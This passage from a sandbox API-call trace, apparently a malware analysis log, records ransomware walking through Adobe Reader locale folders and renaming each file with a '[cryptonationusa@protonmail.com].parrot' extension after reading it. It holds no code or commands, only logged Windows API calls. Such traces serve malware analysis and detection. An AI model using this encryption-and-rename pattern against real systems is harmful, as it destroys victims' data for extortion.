lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4400, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x4400, lpOverlapped=0x0) returned 1 [0259.455] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.456] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Search.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\search.jpn"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Search.JPN.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\search.jpn.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0259.461] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x333a708 | out: hHeap=0x5b0000) returned 1 [0259.461] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0259.461] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x332a688 | out: hHeap=0x5b0000) returned 1 [0259.463] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0259.463] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0259.501] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.501] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3200, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x3200, lpOverlapped=0x0) returned 1 [0259.503] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.504] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\SendMail.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\sendmail.jpn"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\SendMail.JPN.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\sendmail.jpn.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0259.508] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3323000 | out: hHeap=0x5b0000) returned 1 [0259.508] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0259.508] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3326648 | out: hHeap=0x5b0000) returned 1 [0259.510] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Services\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0259.511] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0259.511] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.511] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0259.511] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0259.511] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0259.511] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0259.511] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0259.513] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.513] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa11a, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0xa11a, lpOverlapped=0x0) returned 1 [0259.515] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.515] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\services\\dexshare.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Services\\DEXShare.asfx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\services\\dexshare.asfx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0259.520] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22f7550 | out: hHeap=0x5b0000) returned 1 [0259.520] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0259.520] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32aa5c8 | out: hHeap=0x5b0000) returned 1 [0259.523] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0259.523] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0259.524] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.524] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe4, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0xe4, lpOverlapped=0x0) returned 1 [0259.525] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.525] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\services\\services.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Services\\Services.asfx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\services\\services.asfx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0259.529] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22f7550 | out: hHeap=0x5b0000) returned 1 [0259.529] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0259.529] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22d6080 | out: hHeap=0x5b0000) returned 1 [0259.531] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Services\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0259.531] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x26b2ac60, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x26b2ac60, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.531] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x26b04b00, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0xa238, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="DEXSHA~1.PAR")) returned 1 [0259.531] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0259.531] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0259.533] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.533] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2200, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x2200, lpOverlapped=0x0) returned 1 [0259.534] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.535] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Spelling.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\spelling.jpn"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Spelling.JPN.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\spelling.jpn.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0259.539] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3323000 | out: hHeap=0x5b0000) returned 1 [0259.539] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0259.539] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3326648 | out: hHeap=0x5b0000) returned 1 [0259.547] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0259.547] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0259.549] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.549] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2200, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x2200, lpOverlapped=0x0) returned 1 [0259.550] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.551] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\updater.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\updater.jpn"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\updater.JPN.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\updater.jpn.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0259.556] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3323000 | out: hHeap=0x5b0000) returned 1 [0259.556] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0259.556] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3326648 | out: hHeap=0x5b0000) returned 1 [0259.558] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0259.558] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0259.561] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.562] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5600, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x5600, lpOverlapped=0x0) returned 1 [0259.563] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.563] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Weblink.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\weblink.jpn"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Weblink.JPN.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\weblink.jpn.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0259.567] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3323000 | out: hHeap=0x5b0000) returned 1 [0259.567] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0259.567] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x332a688 | out: hHeap=0x5b0000) returned 1 [0259.569] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0259.569] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x26b9d080, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x26b9d080, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.569] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x2668e1c0, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x7d28, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.JPN.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="ACCESS~1.PAR")) returned 1 [0259.570] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0259.572] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0259.572] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d6d7160, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ee9f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ee9f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.572] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0259.572] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0259.572] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.KOR", cAlternateFileName="ACCESS~1.KOR")) returned 1 [0259.572] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0259.572] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0259.574] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.574] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7e00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x7e00, lpOverlapped=0x0) returned 1 [0259.575] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.576] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\accessibility.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\accessibility.kor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\accessibility.KOR.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\accessibility.kor.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0259.580] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3323e88 | out: hHeap=0x5b0000) returned 1 [0259.580] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0259.580] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x332a688 | out: hHeap=0x5b0000) returned 1 [0259.581] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0259.581] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0259.583] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.583] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x48c00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x48c00, lpOverlapped=0x0) returned 1 [0259.590] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.595] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\Acroform.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\acroform.kor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\Acroform.KOR.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\acroform.kor.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0259.599] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3323e88 | out: hHeap=0x5b0000) returned 1 [0259.599] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0259.599] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2b30020 | out: hHeap=0x5b0000) returned 1 [0259.603] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0259.603] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0259.604] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.605] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x1a00, lpOverlapped=0x0) returned 1 [0259.605] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.606] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\AdobeCollabSync.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\adobecollabsync.kor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\AdobeCollabSync.KOR.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\adobecollabsync.kor.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0259.613] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22f7550 | out: hHeap=0x5b0000) returned 1 [0259.613] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0259.613] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x321e550 | out: hHeap=0x5b0000) returned 1 [0259.615] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0259.615] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0259.617] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.617] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x56c00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x56c00, lpOverlapped=0x0) returned 1 [0259.626] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.635] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\Annots.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\annots.kor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\Annots.KOR.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\annots.kor.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0259.640] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x333ae48 | out: hHeap=0x5b0000) returned 1 [0259.640] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 